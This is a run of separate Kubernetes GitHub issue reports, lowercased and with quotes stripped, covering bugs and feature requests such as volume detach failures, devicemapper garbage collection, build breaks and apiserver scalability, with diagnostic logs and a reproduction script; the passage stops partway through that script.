2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r \r - install tools:\r terraform + bootkube

hi,\r \r i have a kubernetes cluster defined as below\r \r 1  1 master node\r 2  4 worker nodes\r \r i am using 3 worker nodes to store the elastic search data and the size of the node is reached to 60% and soon it will reach more and i am worried if it crashes suddenly.\r \r i wanted to increase the size of the disk that the elastic search data can be stored with more requests..\r can anyone suggest on how it can do this.\r \r for now i am thinking on doing the same but i dont know how exactly to do and can anyone suggest me the right steps to do\r \r 1  create a new worker node\r 2  make this part of the cluster\r 3  somehow tell the elastic search service already running on one of the worker nodes to right data to the newly created worker node.\r 4  this way i can make sometime time to capture the data and not allowing the system to crash.\r \r the current cluster is up and running with es application already deployed and capturing the data.i need to do this without interrupting current setup.\r \r please suggest some way forward.\r \r thanks in advance.

https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/242 shows that one of kubelets crashed multiple times with the same error\r \r    \r sigill: illegal instruction\r pc=0x460103 m=13 sigcode=2\r goroutine 0  idle :\r runtime.memclrnoheappointers 0xc004420000, 0x2000 \r \t/usr/local/go/src/runtime/memclr_amd64.s:76 +0x113\r runtime.  mheap .alloc 0x70651e0, 0x1, 0x7f181801000d, 0x7f181d1eb1c8 \r \t/usr/local/go/src/runtime/mheap.go:764 +0xda\r runtime.  mcentral .grow 0x7066858, 0x0 \r \t/usr/local/go/src/runtime/mcentral.go:232 +0x94\r runtime.  mcentral .cachespan 0x7066858, 0x7f181d30df88 \r \t/usr/local/go/src/runtime/mcentral.go:106 +0x2f8\r runtime.  mcache .refill 0x7f181d33d000, 0xc001419d0d \r \t/usr/local/go/src/runtime/mcache.go:122 +0x95\r runtime.  mcache .nextfree.func1  \r \t/usr/local/go/src/runtime/malloc.go:749 +0x32\r runtime.systemstack 0x0 \r \t/usr/local/go/src/runtime/asm_amd64.s:351 +0x66\r runtime.mstart  \r \t/usr/local/go/src/runtime/proc.go:1229\r  ... \r    \r \r full kubelet logs are available here: https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/242/artifacts/gce-scale-cluster-minion-group-3-d7s6/kubelet.log\r \r @kubernetes/sig-node-bugs \r  

what would you like to be added  :\r cache resource requests per pod per resource name  using a map  and pass it to calls of requirements.subtract   in getpodstopreempt of preemption\r \r   why is this needed  :\r in requirements.subtract  , we iterate over all containers of the pod to calculate new quantity.\r such iteration is repeated at the scope of getpodstopreempt.\r \r caching can reduce unnecessary repetition.

kubernetes version    use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.0.1062+1070a518301f0b\ , gitcommit:\ 1070a518301f0bfb6f6c8832feff0bba0c391a22\ , gittreestate:\ clean\ , builddate:\ 2016-09-20t11:34:18z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } also tried with 1.3.6    environment  : -   cloud provider or hardware configuration  : openstack -   os    e.g. from /etc/os-release : ubuntu 14.04 -   kernel    e.g.  uname -a  : 3.13.0-93-generic -   install tools  : deb package  not selfhosted  -   others  : may be related to  32716   28643   28671    what happened  : if compute instance with attached volume is downed  physical volume in kubernetes terms , kubernetes doesn't try to detach said volume  ever . end result is that k8s is trying to attach a volume in a loop but never succeeds because it is already attached to a downed node.  i've waited for more than an hour for the volume to be detached  didn't help :c     what you expected to happen  : i expect controller-manager or kubelet to detach volume before trying to attach it to a new compute instance.     how to reproduce it    as minimally and precisely as possible : bring up cluster with two nodes on openstack. schedule pod with a pvc. shutdown  from the command line on the operating system  the node with attached volume. pod gets rescheduled to another node, but volume stays with the downed node.    anything else do we need to know  : i've looked through reconcile.go on both kubelet and controller-manager it seems to me that once a node is downed it is no longer on the list of nodesmanaged  in desired_state_of_world.go  so it's volume is never going to be detached. i've also tried to disable --enable-controller-attach-detach on a kubelet, but it doesn't try to detach it either.

from proxy.log using v1.4.3, running on the dcos 1.9    unable to create proxier: failed to initialize iptables: error creating chain \ kube-portals-container\ : executable file not found in $path:  flag --resource-container has been deprecated, this feature will be removed in a later release

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-release-1.4/973/  run so broken it didn't make junit output!

is this a request for help? yes  \r \r   what keywords did you search in kubernetes issues before filing this one? windows server 2016 containers, aws, kubernetes.  \r \r i am running into issues adding a windows server 2016 node to a kubernetes cluster on aws. here are the steps that i have followed.\r \r i performed the following steps to setup a kubernetes cluster on aws.\r \r git clone https://github.com/kubernetes/kubernetes.git\r make quick-release\r export path=$path:/home/ubuntu/kubernetes/_output/dockerized/bin/linux/amd64\r export kubernetes_provider=aws\r export num_nodes=2\r kube-up.sh \r \r with these commands, i was able to get a working cluster up and running.\r \r root@ip-172-31-5-156:/home/ubuntu  kubectl cluster-info\r kubernetes master is running at https://35.165.132.44\r elasticsearch is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging\r heapster is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/heapster\r kibana is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/kibana-logging\r kubedns is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/kube-dns\r kubernetes-dashboard is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard\r grafana is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/monitoring-grafana\r influxdb is running at https://35.165.132.44/api/v1/proxy/namespaces/kube-system/services/monitoring-influxdb\r \r \r additionally, i followed the instructions @ https://github.com/kubernetes/kubernetes.github.io/blob/9eaaa1433661f80d5af25d7405b4683a947fc0f3/docs/getting-started-guides/windows/readme.md to setup a kubernetes cluster with windows server 2016. \r \r i built the kubelet and kube-proxy for windows. as a starting point, i was trying to add a windows server 2016 node to this cluster. so, i launched a windows 2016 instance on aws and ran the following commands inside it. \r \r 1  added a second network adapter ethernet2 to the instance.\r 2  created a docker transparent network using the below command.\r     a  docker network create -d transparent --gateway 172.1.0.1 --subnet 172.1.0.0/24 -o com.docker.network.windowsshim.interface=\ ethernet 2\  transparentnet\r 3  $env:container_network=\ transparentnet\ \r 4  .\\kubelet.exe --hostname-override=172.20.1.20 --pod-infra-container-image=\ apprenda/pause\  --resolv-conf=\ \  --api_servers=172.20.0.9\r \r here 172.20.0.9 is the private ip of the kubernetes master node and 172.20.1.20 is the private ip of the windows instance under consideration. please note that i had launched the windows instance in the same vpc which kube-up.sh creates as part of the cluster setup process. i am running into the following errors on windows.\r \r \r i1220 00:29:59.498583    4840 kubelet_node_status.go:77  attempting to register node 172.20.1.20\r e1220 00:30:00.384560    4840 reflector.go:188  pkg/kubelet/kubelet.go:379: failed to list  v1.service: get http://172.20.0.9/api/v1/services?resourceversion=0: dial tcp 172.20.0.9:80: connectex: no connection could be made because the target machine actively refused it.\r e1220 00:30:00.384560    4840 reflector.go:188  pkg/kubelet/config/apiserver.go:45: failed to list  v1.pod: get http://172.20.0.9/api/v1/pods?fieldselector=spec.nodename%3d172.20.1.20&resourceversion=0: dial tcp 172.20.0.9:80: connectex: no connection could be made because the target machine actively refused it.\r \r i had updated the security groups for the master node to be able to accept all traffic from the security group corresponding to where the windows instance is running.\r \r would appreciate the help to see what i could be missing here ? \r \r -thanks\r gaurav\r

\r \r users may also write their own controllers as extensions  -- aggregated api servers   aases  or third party resources  tprs .  \r \r controllers  core or extensions  may contain pod templates. \r those podtemplates need to be updateable, and that should cause a rollout of the new desired state.\r \r we already support rollouts for deployments by creating a new replicaset each time we see an update to the controller.\r \r there is  a proposal for how to do this for daemon sets  https://github.com/kubernetes/community/pull/366 .  that may eventually use stand-alone pod templates   /api/v1/podtemplates  .  as noted on that proposal by @janetkuo, the proposed pattern cannot be used by extensions.  \r \r this issue summarizes some problems with extensions that want to have podtemplates.\r \r -   some extensions cannot use  observedgeneration   \r   -  templategeneration  is a field that updates every time the  .spec.podtemplate  of the controller is updated.  it happens in the api server.\r   - aas can support the  observedgeneration .\r   - tpr-based controller can not.\r -   extensions cannot use hashes to compare embedded and standalone pod templates  \r   - deployment computes a  pod-template-hash .  one issue is that you can get an object once before a master upgrade, and then get it after, and it will be different, even though the object was not updated by the user.  this is because new defaulted fields can be added by the new version of the api server code.\r   - if an aas object includes a podtemplate in its controller spec, then presumably it will have defaulting too.  but that will be vendored from kubernetes, and so the version of the defaulting in the aas may be different from the version in the primary api server.  \r   - tprs cannot have defaulting.  so they cannot compare their hashes  which are stable  with podtemplate hashes, which are not.\r -   extensions cannot use deep equality to compare embedded and standalone pod templates  \r   - same reasons as above. \r \r this makes it hard to build controllers that are extensions and have updating and pod templates.\r \r some things that would solve that problem:\r \r 1. if we never used embedded pod templates and just used standalone podtemplates.  so, you have to create at least two objects to make a controller.  but this works poorly with declarative config  apply .\r 2. if we never apply defaulting or conversion to embedded pod templates. let that happen at pod creation time.  i like this.  it puts tpr and aas and core controllers on the same footing.\r 3. if we figured out a way to generalize the  observedgeneration  pattern to work with tprs.  \r \r i like 2 but it looks like the most work.  @thockin pointed out that recent changes to defaulting make it difficult to make defaulting not happen in embedded pod templates.\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r \ devicemapper garbage collection\ , \ devicemapper capacity\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  linux ip-172-20-119-173 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux \r -   install tools  :  kops version 1.5.0-alpha3 \r -   others  :\r \r    \r $ sudo dmsetup version\r library version:   1.02.90  2014-09-01 \r driver version:    4.34.0\r    \r \r    \r storage driver: devicemapper\r  pool name: docker-202:1-1572924-pool\r  pool blocksize: 65.54 kb\r  base device size: 10.74 gb\r  backing filesystem: ext4\r  data file: /dev/loop0\r  metadata file: /dev/loop1\r  data space used: 69.68 gb\r  data space total: 107.4 gb\r  data space available: 37.69 gb\r  metadata space used: 78.54 mb\r  metadata space total: 2.147 gb\r  metadata space available: 2.069 gb\r  thin pool minimum free space: 10.74 gb\r  udev sync supported: true\r  deferred removal enabled: false\r  deferred deletion enabled: false\r  deferred deleted device count: 0\r  data loop file: /var/lib/docker/devicemapper/devicemapper/data\r  warning: usage of loopback devices is strongly discouraged for production use. use  --storage-opt dm.thinpooldev  to specify a custom block storage device.\r  metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata\r  library version: 1.02.90  2014-09-01 \r    \r \r    \r $ curl   http://localhost:10255/stats/summary\r ...\r    \ fs\ : {\r     \ availablebytes\ : 116132237312,\r     \ capacitybytes\ : 201173553152,\r     \ usedbytes\ : 76349206528,\r     \ inodesfree\ : 52357165,\r     \ inodes\ : 52428800,\r     \ inodesused\ : 71635\r    },\r    \ runtime\ : {\r     \ imagefs\ : {\r      \ availablebytes\ : 116132237312,\r      \ capacitybytes\ : 201173553152,\r      \ usedbytes\ : 12188188240,\r      \ inodesfree\ : 52357165,\r      \ inodes\ : 52428800,\r      \ inodesused\ : 71635\r     }\r ...\r    \r    \r $ df\r filesystem     1k-blocks     used available use% mounted on\r udev               10240        0     10240   0% /dev\r tmpfs            3287108     6092   3281016   1% /run\r /dev/xvda1     196458548 74561368 113408792  40% /\r tmpfs            8217764        0   8217764   0% /dev/shm\r tmpfs               5120        0      5120   0% /run/lock\r tmpfs            8217764        0   8217764   0% /sys/fs/cgroup\r    \r    \r $ sudo dmsetup status docker-202:1-1572924-pool\r 0 209715200 thin-pool 16105 18386/524288 1097754/1638400 - rw discard_passdown queue_if_no_space -\r    \r \r    \r $ sudo dmsetup table docker-202:1-1572924-pool\r 0 209715200 thin-pool 7:1 7:0 128 32768 1 skip_block_zeroing\r    \r \r   what happened  :\r the kubelet never runs image garbage collection and the thin pool loop device fills up.\r \r   what you expected to happen  :\r when the the thin pool loop device gets to 90%  or  highthresholdpercent   image garbage collection should run.\r \r the  fsinfo  that the kubelet relies on reflects the capacity of the root file system, instead of the capacity of the loop device. in the example above, this is ~200gb instead of ~100gb. as a result, unless some non-docker process fills up the rootfs, garbage collection will never run.\r \r   how to reproduce it    as minimally and precisely as possible :\r spin up a node with a root file system much larger than the loop device. download many images. kubelet will not run garbage collection.\r \r   anything else we need to know  :\r if i run cadvisor standalone and query its storage api, i see this:\r \r    \r $ curl -l 127.0.0.1:8080/api/v2.1/storage?label=docker-images\r ...\r     {\r         \ available\ : 116159795200,\r         \ capacity\ : 201173553152,\r         \ device\ : \ /dev/xvda1\ ,\r         \ inodes\ : 52428800,\r         \ inodes_free\ : 52357145,\r         \ labels\ :  \r             \ docker-images\ \r          ,\r         \ mountpoint\ : \ /var/lib/docker/devicemapper\ ,\r         \ usage\ : 76321648640\r     },\r ...\r    \r \r it looks like it correctly identifies the mountpoint, but reports the incorrect capacity.\r \r i imagine this has impact beyond image garbage collection, and may be related to  27409

https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-cross-build/\r \r i wonder why there is no auto-filed issue for this @ixdy \r \r  44895 broke the crossbuild: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/1683/\r    \r i0509 09:36:49.941  +++  0509 09:36:49  building go targets for {linux/amd64 linux/arm linux/arm64 linux/s390x linux/ppc64le windows/amd64} in parallel  output will appear in a burst when complete :\r i0509 09:36:49.941      cmd/kube-proxy\r i0509 09:36:49.941      cmd/kubelet\r i0509 09:37:49.342  +++  0509 09:36:50  linux/amd64: go build started\r i0509 09:37:49.343  +++  0509 09:37:10  linux/amd64: go build finished\r i0509 09:37:49.352  +++  0509 09:36:50  linux/arm: go build started\r i0509 09:37:49.352  +++  0509 09:37:10  linux/arm: go build finished\r i0509 09:37:49.352  +++  0509 09:36:50  linux/arm64: go build started\r i0509 09:37:49.352  +++  0509 09:37:11  linux/arm64: go build finished\r i0509 09:37:49.352  +++  0509 09:36:50  linux/s390x: go build started\r i0509 09:37:49.353  +++  0509 09:37:11  linux/s390x: go build finished\r i0509 09:37:49.353  +++  0509 09:36:50  linux/ppc64le: go build started\r i0509 09:37:49.353  +++  0509 09:37:11  linux/ppc64le: go build finished\r i0509 09:37:49.353  +++  0509 09:36:50  windows/amd64: go build started\r i0509 09:37:49.354    k8s.io/kubernetes/pkg/util/iptables\r i0509 09:37:49.354  pkg/util/iptables/iptables.go:391: undefined: syscall.flock\r i0509 09:37:49.354  pkg/util/iptables/iptables.go:391: undefined: syscall.lock_ex\r i0509 09:37:49.354  pkg/util/iptables/iptables.go:391: undefined: syscall.lock_nb\r i0509 09:37:49.354  !!!  0509 09:37:49  call tree:\r i0509 09:37:49.355  !!!  0509 09:37:49   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:691 kube::golang::build_binaries_for_platform ... \r i0509 09:37:49.355  !!!  0509 09:37:49   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r i0509 09:37:49.355  makefile:89: recipe for target 'all' failed\r i0509 09:37:49.355  makefile:395: recipe for target 'cross' failed\r w0509 09:37:49.456  !!!  0509 09:37:49  call tree:\r w0509 09:37:49.456  !!!  0509 09:37:49   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r w0509 09:37:49.456  make 1 :      all  error 1\r w0509 09:37:49.456  make:      cross  error 1\r w0509 09:37:49.890  !!!  0509 09:37:49  call tree:\r w0509 09:37:49.892  !!!  0509 09:37:49   1: build/../build/common.sh:513 kube::build::run_build_command_ex ... \r w0509 09:37:49.893  !!!  0509 09:37:49   2: build/release.sh:36 kube::build::run_build_command ... \r w0509 09:37:49.894  make:      release  error 1\r w0509 09:37:49.895  traceback  most recent call last :\r w0509 09:37:49.895    file \ /var/lib/jenkins/workspace/ci-kubernetes-cross-build/./test-infra/jenkins/../scenarios/kubernetes_build.py\ , line 85, in <module>\r w0509 09:37:49.895      main args \r w0509 09:37:49.895    file \ /var/lib/jenkins/workspace/ci-kubernetes-cross-build/./test-infra/jenkins/../scenarios/kubernetes_build.py\ , line 60, in main\r w0509 09:37:49.896      check args.script \r w0509 09:37:49.896    file \ /var/lib/jenkins/workspace/ci-kubernetes-cross-build/./test-infra/jenkins/../scenarios/kubernetes_build.py\ , line 31, in check\r w0509 09:37:49.896      subprocess.check_call cmd \r w0509 09:37:49.896    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w0509 09:37:49.896      raise calledprocesserror retcode, cmd \r w0509 09:37:49.896  subprocess.calledprocesserror: command ' './hack/jenkins/build.sh', ' returned non-zero exit status 2\r i0509 09:37:49.902  makefile:358: recipe for target 'release' failed\r e0509 09:37:49.902  build failed\r i0509 09:37:49.902  process 15245 exited with code 1 after 20.7m\r e0509 09:37:49.902  fail: ci-kubernetes-cross-build\r i0509 09:37:49.902  upload result and artifacts...\r    \r \r @kubernetes/sig-testing-bugs fyi\r \r @dcbw @thockin @smarterclayton @lavalamp @vishh

@deads2k as discussed in  46030  more particulary  here  https://github.com/kubernetes/kubernetes/pull/46030 issuecomment-302411867 \r crd are serialized in etcd  with a double prefix.\r thanks to have a look

the debian-based cvm image is going to be deprecated in september.\r \r we should:\r  1. change the default os image for gce cluster setup script. this means that all the gce ci builds will use the new default os image.\r  2. add deprecation warning to the cluster setup script if cvm is specified.\r  3. maintain the node e2e test coverage for cvm for 1.8.\r \r /cc @abgworrall @dchen1107 @mtaufen

\r kubernetes version:client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ a55267932d501b9fbd6d73e5ded47d79b5763ce5\ , gittreestate:\ clean\ , builddate:\ 2017-04-14t13:36:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ a55267932d501b9fbd6d73e5ded47d79b5763ce5\ , gittreestate:\ clean\ , builddate:\ 2017-04-14t13:36:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r operating system:centos linux release 7.2.1511\r node.js version:na\r go version:go version go1.6.3 linux/amd64\r    \r \r       steps to reproduce\r <!-- describe all steps needed to reproduce the issue. it is a good place to use numbered list. -->\r 1.etcd\r /usr/bin/etcd --name=default --data-dir=/var/lib/etcd/default.etcd --listen-client-urls=http://0.0.0.0:2379\r 2.flannel\r /usr/bin/flanneld -etcd-endpoints=http://192.168.0.111:2379 -etcd-prefix=/kube/network\r 3.kube-apiserver \r /usr/bin/kube-apiserver --logtostderr=true --v=0 --etcd-servers=http://192.168.0.111:2379 --insecure-bind-address=0.0.0.0 --allow-privileged=false --service-cluster-ip-range=172.17.0.0/16 --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,resourcequota --advertise-address=192.168.0.111\r 4.kube-controller-manager\r /usr/bin/kube-controller-manager --logtostderr=true --v=0 --master=http://192.168.0.111:8080\r 5.kube-scheduler \r /usr/bin/kube-scheduler --logtostderr=true --v=0 --master=http://192.168.0.111:8080\r 6.kubelet\r /usr/bin/kubelet --logtostderr=true --v=0 --api-servers=http://192.168.0.111:8080 --address=0.0.0.0 --port=10250 --hostname-override=192.168.0.111 --allow-privileged=false --pod-infra-container-image=registry.access.redhat.com/rhel7/pod-infrastructure:latest\r 7.kube-proxy\r /usr/bin/kube-proxy --logtostderr=true --v=0 --master=http://192.168.0.111:8080\r 8.kubectl create -f heapster-deployment.yaml\r  root@allserver influxdb   kubectl create -f heapster-deployment.yaml \r deployment \ heapster\  created\r  root@allserver influxdb   kubectl get pods\r no resources found.\r  root@allserver influxdb   kubectl get pods -n kube-system\r name                                    ready     status    restarts   age\r heapster-316459841-bw71n                1/1       running   0          35s\r kubernetes-dashboard-1308073218-v1vxz   1/1       running   1          67d\r  root@allserver influxdb   date\r   tue aug 29 21:26:46 cst 2017  \r  root@allserver influxdb   kubectl logs heapster-316459841-bw71n -n kube-system\r i  0829 13:26:13.475769         1 heapster.go:71  /heapster --source=kubernetes:http://192.168.0.111:8080?inclusterconfig=false&useserviceaccount=false\r   i0829 13:26:13.494182         1 heapster.go:72  heapster version v1.3.0-beta.1\r   i0829 13:26:13.494589         1 configs.go:61  using kubernetes client with master \ http://192.168.0.111:8080\  and version v1\r i  0829 13:26:13.494628         1 configs.go:62  using kubelet port 10255\r   i0829 13:26:14.214918         1 heapster.go:193  starting with metric sink\r   i0829 13:26:14.412795         1 heapster.go:105  starting heapster on port 8082\r   e0829 13:27:05.394639         1 kubelet.go:280  node 192.168.0.109 is not ready\r  root@allserver influxdb    etcdctl get /registry/pods/kube-system/heapster-316459841-bw71n\r {\ kind\ :\ pod\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ heapster-316459841-bw71n\ ,\ generatename\ :\ heapster-316459841-\ ,\ namespace\ :\ kube-system\ ,\ selflink\ :\ /api/v1/namespaces/kube-system/pods/heapster-316459841-bw71n\ ,\ uid\ :\ 96efc27b-8cbd-11e7-8dad-000c2989e261\ ,\   creationtimestamp\ :\ 2017-08-29t13:25:56z  \ ,\ labels\ :{\ k8s-app\ :\ heapster\ ,\ pod-template-hash\ :\ 316459841\ ,\ task\ :\ monitoring\ },\ annotations\ :{\ kubernetes.io/created-by\ :\ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicaset\\\ ,\\\ namespace\\\ :\\\ kube-system\\\ ,\\\ name\\\ :\\\ heapster-316459841\\\ ,\\\ uid\\\ :\\\ 96acf78d-8cbd-11e7-8dad-000c2989e261\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 6643\\\ }}\ \ },\ ownerreferences\ : {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ replicaset\ ,\ name\ :\ heapster-316459841\ ,\ uid\ :\ 96acf78d-8cbd-11e7-8dad-000c2989e261\ ,\ controller\ :true} },\ spec\ :{\ containers\ : {\ name\ :\ heapster\ ,\ image\ :\ docker.io/ist0ne/heapster\ ,\ command\ : \ /heapster\ ,\ --source=kubernetes:http://192.168.0.111:8080?inclusterconfig=false\\u0026useserviceaccount=false\  ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ imagepullpolicy\ :\ never\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ nodename\ :\ 192.168.0.111\ ,\ securitycontext\ :{}},\ status\ :{\ phase\ :\ running\ ,\ conditions\ : {\ type\ :\ initialized\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\   2017-08-29t13:25:57z  \ },{\ type\ :\ ready\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :\   2017-08-29t13:26:08z  \ },{\ type\ :\ podscheduled\ ,\ status\ :\ true\ ,\ lastprobetime\ :null,\ lasttransitiontime\ :  \ 2017-08-29t13:25:56z  \ } ,\ hostip\ :\ 192.168.0.111\ ,\ podip\ :\ 172.17.24.3\ ,\ starttime\ :  \ 2017-08-29t13:25:57z  \ ,\ containerstatuses\ : {\ name\ :\ heapster\ ,\ state\ :{\ running\ :{  \ startedat\ :\ 2017-08-29t13:26:07z  \ }},\ laststate\ :{},\ ready\ :true,\ restartcount\ :0,\ image\ :\ docker.io/ist0ne/heapster\ ,\ imageid\ :\ docker://sha256:4ff6ad0ca64c7a065cd595a557b692a92b8ef4fe56bffd7c104eabed4c5a6d98\ ,\ containerid\ :\ docker://1ee5715d295ced19ee4313b8c267f34d066c3c33ee7e8b3f6bd370c9ee1eab7e\ } }}\r   issue  \r the system time is inconsistent with the time recorded in the pod log time and the etcd,eight hours apart.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r \r 1.  audit backend run after http server start  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/genericapiserver.go l289-l310  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/genericapiserver.go l289-l310 \r \r 2.  as pr  53821 introduced preshutdownhook, audit backend should use it.\r \r 

as part of the process of making local storage a first class resource, the kubelet should take disk requests into consideration, and ensure that the pod which requests disk is given access to it.\r the mechanism that the kubelet uses to enforce that a pod which requests disk is given access to it are evictions.  the kubelet should take disk requests into account when making eviction decisions.\r the kubelet should consider disk requests in the same way it does memory requests:\r first, it evicts pods which are exceeding their requests before evicting pods whose usage is under requests.\r second, in tiebreaker scenarios, it only considers usage above requests when making eviction decisions.\r \r cc @jingxu97 @derekwaynecarr \r @kubernetes/sig-node-feature-requests \r /assign @dashpole\r  

is this a bug report or feature request?  :\r \r   \r   what happened  :\r hit \ cp: illegal option -- t\  while making etcd image in macos\r \r   what you expected to happen  :\r etcd image created correctly\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ make\r   copy the content in this dir to the temp dir,\r   without copying the subdirectories.\r find ./ -maxdepth 1 -type f | xargs cp -t /var/folders/mt/xcthpky9237d5drdp2hv76fr0000gn/t/tmp.mnht8ipq\r cp: illegal option -- t\r usage: cp  -r  -h | -l | -p    -fi | -n   -apvxc  source_file target_file\r        cp  -r  -h | -l | -p    -fi | -n   -apvxc  source_file ... target_directory\r make:      build  error 123\r    \r \r   anything else we need to know?  :\r \r   environment  : macos\r - kubernetes version  use  kubectl version  : master branch code\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : darwin kernel version 17.2.0: fri sep 29 18:27:05 pdt 2017; root:xnu-4570.20.62~3/release_x86_64 x86_64\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-api-machinery-bugs \r @kubernetes/sig-scalability-bugs \r / fyi @shyamjvs @gmarek @wojtek-t \r \r   what happened  :\r \r in a 5k-node cluster, the  kube-apiserver  running on a 64-core master, is unable to handle 8qps of  endpoints  patch requests. its cpu usage exceeds 60 cores for extended amounts of time, at which point kubelet's liveness checks fail, and apiserver is killed.\r \r ! repro  https://user-images.githubusercontent.com/489420/34760018-559eaa80-f5de-11e7-97f3-993f3286877b.png \r \r in the above graph, the blue line is  kube-apiserver 's cpu usage in cores, and the red line is the request rate of  patch /api/v1/namespaces/default/endpoints/endpoints-test .\r \r the patch requests above are simply fliping a single  endpoints  object back and forth between two states: one in which it has 400 fake child addresses, and another in which it has 401 of them. there are no associated  service s,  deployment s or  pod s. just mutating the  endpoints  object is enough.\r \r i plan to run this again to collect a profile, but i suspect it will be very similar to the one in https://github.com/kubernetes/kubernetes/issues/55779 issuecomment-356282189 - i.e. cpu is burned in memory management due to the expensive  endpoints  deep-copying when serving the 5000 watches from kube-proxy.\r \r   what you expected to happen  :\r \r for one thing, propagating  endpoints  objects should scale better. some ideas on improvements in this area are in https://github.com/kubernetes/kubernetes/issues/55779 issuecomment-354453653 and two comments which follow it, and generally revolve around caching the serialized representation of  endpoints  objects.\r \r i think there should also be a more generic load shedding mechanism in the api server that would protect against meltdown is these kinds of problems.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a 5000 node cluster\r 2. log into the master and write the following files:\r    \r ==> aa <==\r apiversion: v1\r kind: endpoints\r metadata:\r   name: endpoints-test\r subsets:\r - addresses:\r \r ==> xx <==\r   - ip: 10.64.105.3\r     nodename: e2e-test-porridge-minion-group-1-3f94\r     targetref:\r       kind: pod\r       name: kube-dns-6c857864fb-zrxsn\r       namespace: kube-system\r       resourceversion: \ 30570\ \r       uid: 2a89ce5a-f1f4-11e7-86f6-000000000000\r \r ==> zz <==\r   ports:\r   - name: dns\r     port: 53\r     protocol: udp\r   - name: dns-tcp\r     port: 53\r     protocol: tcp\r ---\r \r ==> stress.sh <==\r  !/bin/bash\r \r function size   {\r   local len=$1\r   local i\r   if   ! -e \ cache-$len\   ; then\r     { cat aa ;\r     for i in  seq $len \r     do\r       sed -e \ s/000000000000/$ printf %012d $i /\  xx ;\r     done;\r     cat zz ; } > cache-$len\r   fi\r   cat cache-$len\r }\r \r   echo 400 12 2.5;\r   echo 400 30 1;\r   echo 400 60 0.5;\r   echo 400 120 0.25;\r   echo 400 240 0.125;\r   echo 400 480 